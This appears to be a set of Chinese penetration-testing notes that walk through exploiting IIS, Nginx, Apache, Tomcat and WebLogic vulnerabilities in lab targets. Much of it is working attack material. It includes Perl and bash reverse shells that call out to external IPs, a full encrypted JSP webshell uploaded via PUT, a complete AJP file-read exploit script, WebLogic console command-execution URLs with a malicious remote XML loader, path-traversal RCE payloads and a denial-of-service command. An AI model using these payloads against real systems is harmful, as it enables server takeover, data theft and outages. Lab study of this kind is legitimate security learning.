IIS
HTTP.SYS 远程代码执行漏洞(CVE-2015-1635)
-
漏洞描述
远程执行代码漏洞存在于 HTTP 协议堆栈 (HTTP.sys) 中,当 HTTP.sys 未正确分 析经特殊设计的 HTTP 请求时会导致此漏洞。 成功利用此漏洞的攻击者可以在系统帐户 的上下文中就可能远程读取 IIS 服务器的内存数据,或使服务器系统蓝屏崩溃
-
影响版本
Windows 7、Windows Server 2008 R2、Windows 8、Windows Server 2012、Windows 8.1 和 Windows Server 2012 R2
-
漏洞复现
判断漏洞是否存在,在 kaili 输入
curl -v 192.168.88.141 -H "192.168.88.141:81" -H "Range: bytes=0-18446744073709551615"
有发现返回”range is not satisfiable”就说明有漏洞了。
在 kaili 中输入以下代码即可
msfconsole
use auxiliary/dos/http/ms15_034_ulonglongadd
set rhosts xx.xx.xx.xx(ip)
set rport xx
run
攻击成功:windows7 蓝屏,蓝屏后会自动重启
IIS 短文件之目录扫描
1、概念
在 DOS 和早期的 Windows 系统中,文件名的长度被限制为 8 个字符加上一个点加上 3 个字符的扩展名,这种格式被称为 8.3 格式。在 Windows 下查看对应的短文件名,可以使用命令 dir /x
例如
C:\Users\Administrator>dir /x
2024/07/11 14:49 <DIR> DOCUME~1 Documents
2024/07/22 12:17 <DIR> DOWNLO~1 Downloads
2024/06/16 03:50 <DIR> FAVORI~1 Favorites
2024/07/18 13:15 <DIR> IDEAPR~1 IdeaProjects
它允许远程攻击者在 Web 根目录下公开文件和文件夹名称(不应该可被访问)。攻击者可以找到通常无法从外部直接访问的重要文件,并获取有关应用程序基础结构的信息。
3、应用场景:
后台路径获取,数据库文件获取,其他敏感文件获取等
4、漏洞利用:
https://github.com/lijiejie/IIS_shortname_Scanner
输入命令:python iis_shortname_scan.py http://192.168.88.141:81/即可
IIS 文件解析漏洞
-
IIS 6 解析漏洞
-
该版本会将*.asp;.jpg 的格式当成 asp 解析
- logo.asp;.jpg
-
该版本会将*.asp/目录下的所有文件当成 asp 解析
- xx.asp/logo.jpg
-
-
IIS 7 解析漏洞
- 该版本会将/xx.jpg/xx.php 解析成 php 文件
IIS 写权限漏洞
-
简介
- 通过写入权限来上传木马
-
条件
- 目录权限开启写入
- 开启 webdev
-
漏洞复现
Nginx
Nginx 文件名逻辑漏洞
(CVE-2013-4547)
-
原理
- 这个漏洞其实和代码执行没有太大关系,其主要原因是错误地解析了请求的 URI,错误地获取到用户请求的文件名,导致出现权限绕过、代码执行的连带影响。
-
条件
- Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7
-
复现
-
上传 gif 数据包,在文件名处加空格与添加执行代码即可
-
-
-
访问/uploadfiles/10.gif .php 这个路径,将空格处的 16 进制改为 20 00
-
-
-
发包,执行成功
-
-
-
Nginx 解析漏洞
-
概念
- 由于
nginx.conf
配置将以.php
结尾的文件交给 FastCGI 处理,攻击者可以通过构造类似http://ip/uploadfiles/test.png/.php
的 URL(其中test.png
是包含 PHP 代码的图片文件)来利用此漏洞。FastCGI 在找不到.php
文件时,php.ini
中的cgi.fix_pathinfo=1
配置会将请求路径修复为上层路径,即test.png
。如果php-fpm.conf
中security.limit_extensions
配置为空,FastCGI 将解析.png
文件为 PHP 代码。为防止此类攻击,应限制php-fpm
仅解析.php
扩展名。
- 由于
-
条件
- 该漏洞与 Nginx、php 版本无关,属于用户配置不当造成的解析漏洞。
- php-fpm.conf 配置文件未设置成.php
-
复现
-
上传正常图片,捉包,最后面放入执行代码
-
-
得到路径 ploadfiles/4a47a0db6e60853dedfcfdf08a5ca249.png 在后面加上/1.php 进行访问即可
-
-
-
Apache
Apache HTTPD 换行解析漏洞
(cve-2017-15715)
-
介绍
- Apache HTTPD 是一款 HTTP 服务器,它可以通过 mod_php 来运行 PHP 网页。其 2.4.0~2.4.29 版本中存在一个解析漏洞,在解析 PHP 时,
1.php\x0A
将被按照 PHP 后缀进行解析,导致绕过一些服务器的安全策略。
- Apache HTTPD 是一款 HTTP 服务器,它可以通过 mod_php 来运行 PHP 网页。其 2.4.0~2.4.29 版本中存在一个解析漏洞,在解析 PHP 时,
-
条件
- apache 2.4.0~2.4.29 版本
- 两个功能点:1.有文件上传 2.在同一个页面可以上传后修改名称,原因因该是 3.php 有双引号锁着,当将 20 改为 0a 时,双引号掉到下一行,即使改回去也不行,而内容处符合条件
-
复现
-
上传一个 php 木马,在更改后的名称加一个空格
-
转到 16 进制,将对应名称后面的 20 改为 0a
-
连接时记得在后面添加上 %0a 即可
-
远程命令执行(CVE-2021-42013)
-
介绍
- Apache HTTP Server 2.4.50 中对 CVE-2021-41773 的修复不够充分。攻击者可以使用路径遍历攻击将 URL 映射到由类似别名的指令配置的目录之外的文件。如果这些目录之外的文件不受通常的默认配置 “要求全部拒绝” 的保护,则这些请求可能会成功。如果还为这些别名路径启用了 CGI 脚本,则可以允许远程代码执行。
-
影响版本
- Apache 2.4.49 和 Apache 2.4.50
-
复现
-
靶场
- /vulhub/httpd/CVE-2021-42013
-
直接使用 payload
curl -v --data "echo;whoami" 'http://123.58.224.8:48581/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh'
执行命令-
-
-
反弹 shell
-
通过邻角社区生成反弹 shell 的命令:
-
perl -e 'use Socket;="43.139.186.80";=5566;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in(,inet_aton()))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
-
-
-
监听 5566 端口
nc -lvvp 5566
-
将其写入数据包的内容部分和 url 出插入
/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh
,提交方式改为 post 提交-
数据包内容 POST /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh HTTP/1.1 Host: 123.58.224.8:48581 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 214 perl -e 'use Socket;="43.139.186.80";=5566;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in(,inet_aton()))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
-
-
-
目录穿越漏洞(cve_2021_41773)
-
介绍
- Apache HTTP Server 2.4.49、2.4.50 版本对路径规范化所做的更改中存在一个路径穿越漏洞,攻击者可利用该漏洞读取到 Web 目录外的其他文件,如系统配置文件、网站源码等,甚至在特定情况下,攻击者可构造恶意请求执行命令,控制服务器。
-
影响版本
- Apache HTTP Server 2.4.49、2.4.50 版本
-
复现
-
靶场
- vulfocus/apache-cve_2021_41773:latest
- 123.58.224.8:18210
-
首页
-
-
-
直接捉包,在 url 中添加
/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
成功查看-
-
-
在 url 中添加
/cgi-bin/.%2e/%2e%2e/%2e%2e/bin/sh
地址和成功执行 id 命令-
POST /cgi-bin/.%2e/%2e%2e/%2e%2e/bin/sh HTTP/1.1 Host: 123.58.224.8:18210 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 12 echo;ls /tmp
-
-
-
tomcat
-
弱口令爆破 getshell
-
介绍
- Tomcat 是 Apache 软件基金会(Apache Software Foundation)的 Jakarta 项目中的一个核心项目,由 Apache、Sun 和其他一些公司及个人共同开发而成。可以通过弱口令登录后台,部署 war 包 geshell
-
复现
-
靶场
- vulfocus/tomcat-pass-getshell:latest
- 123.58.224.8:25823 8080:2582
-
首先进入首页面
-
-
-
点击进入管理后台发现需要账号和密码
-
-
-
经过爆破发现存在弱口令
tomcat/tomcat
-
发现存在文件上传点
-
-
-
通过哥斯拉生成 test.jsp 木马,并将其压缩为 test.war,使用命令
jar cvf test.war test.jsp
-
-
-
使用哥斯拉连接
http://123.58.224.8:25823/test/test.jsp
,来连接成功-
-
-
-
-
文件上传(CVE-2017-12615)
-
介绍
- 攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代码的 JSP 的 webshell 文件,JSP 文件中的恶意代码将能被服务器执行,导致服务器上的数据泄露或获取服务器权限。
-
条件
- Apache Tomcat 7.0.0 – 7.0.81
- 开启 put 提交;默认情况下 readonly 是 true,此时 PUT 和 DELETE 方法是被拒绝的,当 readonly 为 false 时,便会开启。
-
复现
-
靶场
- vulfocus tomcat 文件上传 (CVE-2017-12615)
- 123.58.224.8:38458 8080:38458
-
来到首页
-
-
-
直接捉包修改
-
-
PUT /1.jsp/ HTTP/1.1 Host: 123.58.224.8:38458 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 2617 <%! String xc="3c6e0b8a9c15224a"; String pass="pass"; String md5=md5(pass+xc); class X extends ClassLoader{public X(ClassLoader z){super(z);}public Class Q(byte[] cb){return super.defineClass(cb, 0, cb.length);} }public byte[] x(byte[] s,boolean m){ try{javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));return c.doFinal(s); }catch (Exception e){return null; }} public static String md5(String s) {String ret = null;try {java.security.MessageDigest m;m = java.security.MessageDigest.getInstance("MD5");m.update(s.getBytes(), 0, s.length());ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();} catch (Exception e) {}return ret; } public static String base64Encode(byte[] bs) throws Exception {Class base64;String value = null;try {base64=Class.forName("java.util.Base64");Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);value = (String)Encoder.getClass().getMethod("encodeToString", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Encoder"); Object Encoder = base64.newInstance(); value = (String)Encoder.getClass().getMethod("encode", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e2) {}}return value; } public static byte[] base64Decode(String bs) throws Exception {Class base64;byte[] value = null;try {base64=Class.forName("java.util.Base64");Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);value = (byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Decoder"); Object decoder = base64.newInstance(); value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e2) {}}return value; }%><%try{byte[] data=base64Decode(request.getParameter(pass));data=x(data, false);if (session.getAttribute("payload")==null){session.setAttribute("payload",new X(this.getClass().getClassLoader()).Q(data));}else{request.setAttribute("parameters",data);java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();Object f=((Class)session.getAttribute("payload")).newInstance();f.equals(arrOut);f.equals(pageContext);response.getWriter().write(md5.substring(0,16));f.toString();response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));response.getWriter().write(md5.substring(16));} }catch (Exception e){} %>
-
-
用哥斯拉连接即可
-
-
-
-
-
文件读取包含(CVE-2020-1938)
-
介绍
-
Tomcat 默认开启 AJP 服务(8009 端口),存在一处文件包含缺陷。攻击者可以通过构造的恶意请求包来进行文件包含操作,从而读取或包含 Tomcat 上所有 webapp 目录下的任意文件,如:webapp 配置文件或源代码等。
tomcat 默认的 conf/server.xml 中配置了 2 个 Connector,一个为 8080 的对外提供的 HTTP 协议端口,另外一个就是默认的 8009 AJP 协议端口,两个端口默认均监听在外网 ip。
-
-
影响版本
- ApacheTomcat6
ApacheTomcat7<7.0.100
ApacheTomcat8<8.5.51
ApacheTomcat9<9.0.31
- ApacheTomcat6
-
复现
-
靶场
- /vulhub/tomcat/CVE-2020-1938
-
首先扫描靶场是否开放 8009
-
-
-
直接使用脚本即可实行任意文件读取
python poc.py 192.168.155.147 -f WEB-INF/web.xml
-
#!/usr/bin/env python # CNVD-2020-10487 Tomcat-Ajp lfi # by ydhcui import struct import io import base64 # Some references: # https://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html def pack_string(s): if s is None: return struct.pack(">h", -1) l = len(s) return struct.pack(">H%dsb" % l, l, s.encode('utf8'), 0) def unpack(stream, fmt): size = struct.calcsize(fmt) buf = stream.read(size) return struct.unpack(fmt, buf) def unpack_string(stream): size, = unpack(stream, ">h") if size == -1: # null string return None res, = unpack(stream, "%ds" % size) stream.read(1) # \0 return res class NotFoundException(Exception): pass class AjpBodyRequest(object): # server == web server, container == servlet SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2) MAX_REQUEST_LENGTH = 8186 def __init__(self, data_stream, data_len, data_direction=None): self.data_stream = data_stream self.data_len = data_len self.data_direction = data_direction def serialize(self): data = self.data_stream.read(AjpBodyRequest.MAX_REQUEST_LENGTH) if len(data) == 0: return struct.pack(">bbH", 0x12, 0x34, 0x00) else: res = struct.pack(">H", len(data)) res += data if self.data_direction == AjpBodyRequest.SERVER_TO_CONTAINER: header = struct.pack(">bbH", 0x12, 0x34, len(res)) else: header = struct.pack(">bbH", 0x41, 0x42, len(res)) return header + res def send_and_receive(self, socket, stream): while True: data = self.serialize() socket.send(data) r = AjpResponse.receive(stream) while r.prefix_code != AjpResponse.GET_BODY_CHUNK and r.prefix_code != AjpResponse.SEND_HEADERS: r = AjpResponse.receive(stream) if r.prefix_code == AjpResponse.SEND_HEADERS or len(data) == 4: break class AjpForwardRequest(object): _, OPTIONS, GET, HEAD, POST, PUT, DELETE, TRACE, PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, LOCK, UNLOCK, ACL, REPORT, VERSION_CONTROL, CHECKIN, CHECKOUT, UNCHECKOUT, SEARCH, MKWORKSPACE, UPDATE, LABEL, MERGE, BASELINE_CONTROL, MKACTIVITY = range( 28) REQUEST_METHODS = {'GET': GET, 'POST': POST, 'HEAD': HEAD, 'OPTIONS': OPTIONS, 'PUT': PUT, 'DELETE': DELETE, 'TRACE': TRACE} # server == web server, container == servlet SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2) COMMON_HEADERS = ["SC_REQ_ACCEPT", "SC_REQ_ACCEPT_CHARSET", "SC_REQ_ACCEPT_ENCODING", "SC_REQ_ACCEPT_LANGUAGE", "SC_REQ_AUTHORIZATION", "SC_REQ_CONNECTION", "SC_REQ_CONTENT_TYPE", "SC_REQ_CONTENT_LENGTH", "SC_REQ_COOKIE", "SC_REQ_COOKIE2", "SC_REQ_HOST", "SC_REQ_PRAGMA", "SC_REQ_REFERER", "SC_REQ_USER_AGENT" ] ATTRIBUTES = ["context", "servlet_path", "remote_user", "auth_type", "query_string", "route", "ssl_cert", "ssl_cipher", "ssl_session", "req_attribute", "ssl_key_size", "secret", "stored_method"] def __init__(self, data_direction=None): self.prefix_code = 0x02 self.method = None self.protocol = None self.req_uri = None self.remote_addr = None self.remote_host = None self.server_name = None self.server_port = None self.is_ssl = None self.num_headers = None self.request_headers = None self.attributes = None self.data_direction = data_direction def pack_headers(self): self.num_headers = len(self.request_headers) res = "" res = struct.pack(">h", self.num_headers) for h_name in self.request_headers: if h_name.startswith("SC_REQ"): code = AjpForwardRequest.COMMON_HEADERS.index(h_name) + 1 res += struct.pack("BB", 0xA0, code) else: res += pack_string(h_name) res += pack_string(self.request_headers[h_name]) return res def pack_attributes(self): res = b"" for attr in self.attributes: a_name = attr['name'] code = AjpForwardRequest.ATTRIBUTES.index(a_name) + 1 res += struct.pack("b", code) if a_name == "req_attribute": aa_name, a_value = attr['value'] res += pack_string(aa_name) res += pack_string(a_value) else: res += pack_string(attr['value']) res += struct.pack("B", 0xFF) return res def serialize(self): res = "" res = struct.pack("bb", self.prefix_code, self.method) res += pack_string(self.protocol) res += pack_string(self.req_uri) res += pack_string(self.remote_addr) res += pack_string(self.remote_host) res += pack_string(self.server_name) res += struct.pack(">h", self.server_port) res += struct.pack("?", self.is_ssl) res += self.pack_headers() res += self.pack_attributes() if self.data_direction == AjpForwardRequest.SERVER_TO_CONTAINER: header = struct.pack(">bbh", 0x12, 0x34, len(res)) else: header = struct.pack(">bbh", 0x41, 0x42, len(res)) return header + res def parse(self, raw_packet): stream = io.StringIO(raw_packet) self.magic1, self.magic2, data_len = unpack(stream, "bbH") self.prefix_code, self.method = unpack(stream, "bb") self.protocol = unpack_string(stream) self.req_uri = unpack_string(stream) self.remote_addr = unpack_string(stream) self.remote_host = unpack_string(stream) self.server_name = unpack_string(stream) self.server_port = unpack(stream, ">h") self.is_ssl = unpack(stream, "?") self.num_headers, = unpack(stream, ">H") self.request_headers = {} for i in range(self.num_headers): code, = unpack(stream, ">H") if code > 0xA000: h_name = AjpForwardRequest.COMMON_HEADERS[code - 0xA001] else: h_name = unpack(stream, "%ds" % code) stream.read(1) # \0 h_value = unpack_string(stream) self.request_headers[h_name] = h_value def send_and_receive(self, socket, stream, save_cookies=False): res = [] i = socket.sendall(self.serialize()) if self.method == AjpForwardRequest.POST: return res r = AjpResponse.receive(stream) assert r.prefix_code == AjpResponse.SEND_HEADERS res.append(r) if save_cookies and 'Set-Cookie' in r.response_headers: self.headers['SC_REQ_COOKIE'] = r.response_headers['Set-Cookie'] # read body chunks and end response packets while True: r = AjpResponse.receive(stream) res.append(r) if r.prefix_code == AjpResponse.END_RESPONSE: break elif r.prefix_code == AjpResponse.SEND_BODY_CHUNK: continue else: raise NotImplementedError break return res class AjpResponse(object): _, _, _, SEND_BODY_CHUNK, SEND_HEADERS, END_RESPONSE, GET_BODY_CHUNK = range(7) COMMON_SEND_HEADERS = [ "Content-Type", "Content-Language", "Content-Length", "Date", "Last-Modified", "Location", "Set-Cookie", "Set-Cookie2", "Servlet-Engine", "Status", "WWW-Authenticate" ] def parse(self, stream): # read headers self.magic, self.data_length, self.prefix_code = unpack(stream, ">HHb") if self.prefix_code == AjpResponse.SEND_HEADERS: self.parse_send_headers(stream) elif self.prefix_code == AjpResponse.SEND_BODY_CHUNK: self.parse_send_body_chunk(stream) elif self.prefix_code == AjpResponse.END_RESPONSE: self.parse_end_response(stream) elif self.prefix_code == AjpResponse.GET_BODY_CHUNK: self.parse_get_body_chunk(stream) else: raise NotImplementedError def parse_send_headers(self, stream): self.http_status_code, = unpack(stream, ">H") self.http_status_msg = unpack_string(stream) self.num_headers, = unpack(stream, ">H") self.response_headers = {} for i in range(self.num_headers): code, = unpack(stream, ">H") if code <= 0xA000: # custom header h_name, = unpack(stream, "%ds" % code) stream.read(1) # \0 h_value = unpack_string(stream) else: h_name = AjpResponse.COMMON_SEND_HEADERS[code - 0xA001] h_value = unpack_string(stream) self.response_headers[h_name] = h_value def parse_send_body_chunk(self, stream): self.data_length, = unpack(stream, ">H") self.data = stream.read(self.data_length + 1) def parse_end_response(self, stream): self.reuse, = unpack(stream, "b") def parse_get_body_chunk(self, stream): rlen, = unpack(stream, ">H") return rlen @staticmethod def receive(stream): r = AjpResponse() r.parse(stream) return r import socket def prepare_ajp_forward_request(target_host, req_uri, method=AjpForwardRequest.GET): fr = AjpForwardRequest(AjpForwardRequest.SERVER_TO_CONTAINER) fr.method = method fr.protocol = "HTTP/1.1" fr.req_uri = req_uri fr.remote_addr = target_host fr.remote_host = None fr.server_name = target_host fr.server_port = 80 fr.request_headers = { 'SC_REQ_ACCEPT': 'text/html', 'SC_REQ_CONNECTION': 'keep-alive', 'SC_REQ_CONTENT_LENGTH': '0', 'SC_REQ_HOST': target_host, 'SC_REQ_USER_AGENT': 'Mozilla', 'Accept-Encoding': 'gzip, deflate, sdch', 'Accept-Language': 'en-US,en;q=0.5', 'Upgrade-Insecure-Requests': '1', 'Cache-Control': 'max-age=0' } fr.is_ssl = False fr.attributes = [] return fr class Tomcat(object): def __init__(self, target_host, target_port): self.target_host = target_host self.target_port = target_port self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) self.socket.connect((target_host, target_port)) self.stream = self.socket.makefile("rb", buffering=0) def perform_request(self, req_uri, headers={}, method='GET', user=None, password=None, attributes=[]): self.req_uri = req_uri self.forward_request = prepare_ajp_forward_request(self.target_host, self.req_uri, method=AjpForwardRequest.REQUEST_METHODS.get(method)) print("Getting resource at ajp13://%s:%d%s" % (self.target_host, self.target_port, req_uri)) if user is not None and password is not None: self.forward_request.request_headers[ 'SC_REQ_AUTHORIZATION'] = f'Basic {base64.b64encode(f"{user}:{password}".encode()).decode()}' for h in headers: self.forward_request.request_headers[h] = headers[h] for a in attributes: self.forward_request.attributes.append(a) responses = self.forward_request.send_and_receive(self.socket, self.stream) if len(responses) == 0: return None, None snd_hdrs_res = responses[0] data_res = responses[1:-1] if len(data_res) == 0: print("No data in response. Headers:%s\n" % snd_hdrs_res.response_headers) return snd_hdrs_res, data_res ''' javax.servlet.include.request_uri javax.servlet.include.path_info javax.servlet.include.servlet_path ''' import argparse parser = argparse.ArgumentParser() parser.add_argument("target", type=str, help="Hostname or IP to attack") parser.add_argument('-p', '--port', type=int, default=8009, help="AJP port to attack (default is 8009)") parser.add_argument("-f", '--file', type=str, default='WEB-INF/web.xml', help="file path :(WEB-INF/web.xml)") parser.add_argument('--rce', type=bool, default=False, help="read file(default) or exec command") args = parser.parse_args() t = Tomcat(args.target, args.port) _, data = t.perform_request(f'/hissec{".jsp" if args.rce else ""}', attributes=[ {'name': 'req_attribute', 'value': ['javax.servlet.include.request_uri', '/']}, {'name': 'req_attribute', 'value': ['javax.servlet.include.path_info', args.file]}, {'name': 'req_attribute', 'value': ['javax.servlet.include.servlet_path', '/']}, ]) print('----------------------------') print(''.join([d.data.decode('utf_8') for d in data]))
-
-
成功读取 web.xml 文件,默认读取 webapps 文件夹下 ROOT 的文件,而不是 WEB-INF,所以需要加上路径 WEB-INF/web.xml,如下
-
进入容器
docker exec -it 07fa16440c00 /bin/bash
-
- 只能读取
ROOT/WEN-INF
目录下的文件 -
-
-
-
例如,现在往里面写入文件 1.txt,利用 exp 来进行读取
-
-
-
-
假设有个木马可以上传到此,我们就可以利用这个 exp 来进行远程包含编译
-
上传此文件
echo '<%= "Hello"%>' > cong.txt
-
可以看到 cong.txt 直接编译输出了
-
-
-
日志分析
-
- 使用 EXP 通过 AJP 协议读取,远程代码执行(RCE)为/hissec,状态码 200 为成功。
-
-
-
-
Weblogic
-
未授权访问
-
未授权远程命令执行漏洞 CVE-2020-14882
-
介绍
- 未经身份验证的远程攻击者可能通过构造特殊的 HTTP GET 请求,利用该漏洞在受影响的 WebLogic Server 上执行任意代码。它们均存在于 WebLogic 的 Console 控制台组件中。此组件为 WebLogic 全版本默认自带组件,且该漏洞通过 HTTP 协议进行利用。将 CVE-2020-14882 和 CVE-2020-14883 进行组合利用后,远程且未经授权的攻击者可以直接在服务端执行任意代码,获取系统权限。
-
复现
-
靶场
-
vulfocus/weblogic-cve_2020_14883
-
123.58.224.8:17703
123.58.224.8:30853
-
: 5556:177037001:30853 重启靶场:5556:13402 7001:9187
-
-
直接访问一下 url
http://123.58.224.8:30853/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/success1');")
- 虽然返回 404,但是成功执行命令,这个是利用 com.tangosol.coherence.mvel2.sh.ShellSession 来执行命令
- 这个 payload 只能在 Weblogic 12.2.1 以上版本利用,因为 10.3.6 不存在 com.tangosol.coherence.mvel2.sh.ShellSession 这个类
-
-
在服务器部署这个 xml 文件,让目标服务器能够访问来反弹 shell
-
test.xml <?xml version="1.0" encoding="UTF-8" ?> <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"> <bean id="pb" class="java.lang.ProcessBuilder" init-method="start"> <constructor-arg> <list> <value>bash</value> <value>-c</value> <value><![CDATA[bash -i >& /dev/tcp/47.96.64.184/5566 0>&1]]></value> </list> </constructor-arg> </bean> </beans>
-
-
攻击者监听
nc -lvvp 5566
-
发送触发监听载荷
-
http://123.58.224.8:9187/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://43.139.186.80/test.xml")
-
-
-
-
-
-
任意文件上传漏洞/CVE-2018-2894
-
介绍
- CVE-2018-2894 的原理涉及 WebLogic Server 的 WLS Web Services 组件中的一个设计缺陷。该漏洞允许攻击者通过特殊构造的 HTTP 请求绕过服务器的安全检查,直接访问并操作用于上传测试页面的功能。攻击者可以利用这个未经授权的访问,将恶意文件(如 JSP webshell)上传到服务器的任意位置,包括可执行目录。由于服务器对上传的文件类型和位置缺乏有效限制,攻击者可以上传并执行恶意代码,从而获得对服务器的远程控制权。这个漏洞的核心在于权限控制不当和文件上传机制的不安全实现,使得攻击者能够绕过认证直接进行危险操作。
-
危害
- 可以上传任意 jsp 文件,进而获取服务器权限。
-
影响版本
- Oracle WebLogic Server,版本 10.3.6.0,12.1.3.0,12.2.1.2,12.2.1.3。
-
复现
-
靶场:
- vulhub vulfocus/weblogic-cve_2018_2894:latest
-
复现
- 直接使用工具即可
-
-
-
-
-
任意文件读取
-
介绍
- 本环境模拟了一个真实的 weblogic 环境,其后台存在一个弱口令,并且前台存在任意文件读取漏洞。分别通过这两种漏洞,模拟对 weblogic 场景的渗透。
-
影响版本
- Weblogic 版本:10.3.6(11g)
- Java 版本:1.6
-
复现
-
靶场
- weak_password-weblogic-1
- 5557->5556/tcp,7002->7001/tcp
-
访问控制台页面
http://192.168.155.147:7002/console
可以进行弱口令爆破-
-
-
直接访问
http://your-ip:7001/hello/file.jsp?path=/etc/passwd
任意文件可成功读取/etc/passwd
文件-
-
-
-
直接读取
./security/SerializedSystemIni.dat
和./config/config.xml
这两个二进制文件,用 bp 捉包读取-
SerializedSystemIni.dat
是一个二进制文件,所以一定要用 burpsuite 来读取,用浏览器直接下载可能引入一些干扰字符。在 burp 里选中读取到的那一串乱码,右键 copy to file 就可以保存成一个文件:-
-
-
config.xml
是 base_domain 的全局配置文件,所以乱七八糟的内容比较多,找到其中的<node-manager-password-encrypted>
的值,即为加密后的管理员密码,不要找错了:-
-
-
-
破解密码
-
一模一样的字符,反正我是解密不出来,感觉和 java 版本有关
-
-
-
登录一开始的控制台
-
-
-
-
-
上传 war 包。值得注意的是,我们平时 tomcat 用的 war 包不一定能够成功,你可以将你的 webshell 放到本项目的
web/hello.war
这个压缩包中,再上传。上传成功后点下一步。-
-
-
-
-
继续一直下一步,最后点完成。
应用目录在 war 包中 WEB-INF/weblogic.xml 里指定(因为本测试环境已经使用了
/hello
这个目录,所以你要在本测试环境下部署 shell,需要修改这个目录,比如修改成/test
)-
-
-
-
-
配合 SSRF 漏洞
-
介绍
- CVE-2014-4210,Weblogic 中存在一个 SSRF 漏洞,利用该漏洞可以发送任意 HTTP 请求,进而攻击内网中 redis、fastcgi 等脆弱组件。
-
影响版本
- weblogic 10.0.2
weblogic 10.3.6
- weblogic 10.0.2
-
复现
-
无需登录直接访问 uddiexplorer 应用
http://192.168.155.147:7001/uddiexplorer/
-
-
-
测试存在 ssrf 漏洞
-
http://192.168.155.147:7001/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7001
可访问的端口将会得到错误,一般是返回 status code(如下图),如果访问的非 http 协议,则会返回did not have a valid SOAP content-type
-
-
http://192.168.155.147:7001/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7009
修改为一个不存在的端口,将会返回could not connect over HTTP to server
- 通过返回状态的不同可以进行内网的探测
-
-
-
-
反序列化漏洞
-
介绍
- WebLogic Server 使用 T3 协议在 WebLogic Server 和客户端间传输数据和通信,由于 WebLogic 的 T3 协议和 Web 协议使用相同的端口,导致在默认情况下,WebLogic Server T3 协议通信和 Web 端具有相同的访问权限。 易受攻击的 WebLogic 服务允许未经身份验证的攻击者通过 T3 网络访问及破坏 Oracle WebLogic Server。此漏洞的成功攻击可能导致攻击者接管 Oracle WebLogic Server,造成远程代码执行。
-
XMLDecoder 反序列化漏洞(CVE-2017-10271)
-
介绍
- WebLogic 是美国 Oracle 公司出品的一个 application server,确切的说是一个基于 JAVAEE 架构的中间件,WebLogic 是用于开发、集成、部署和管理大型分布式 Web 应用、网络应用和数据库应用的 Java 应用服务器。将 Java 的动态功能和 Java Enterprise 标准的安全性引入大型网络应用的开发、集成、部署和管理之中。
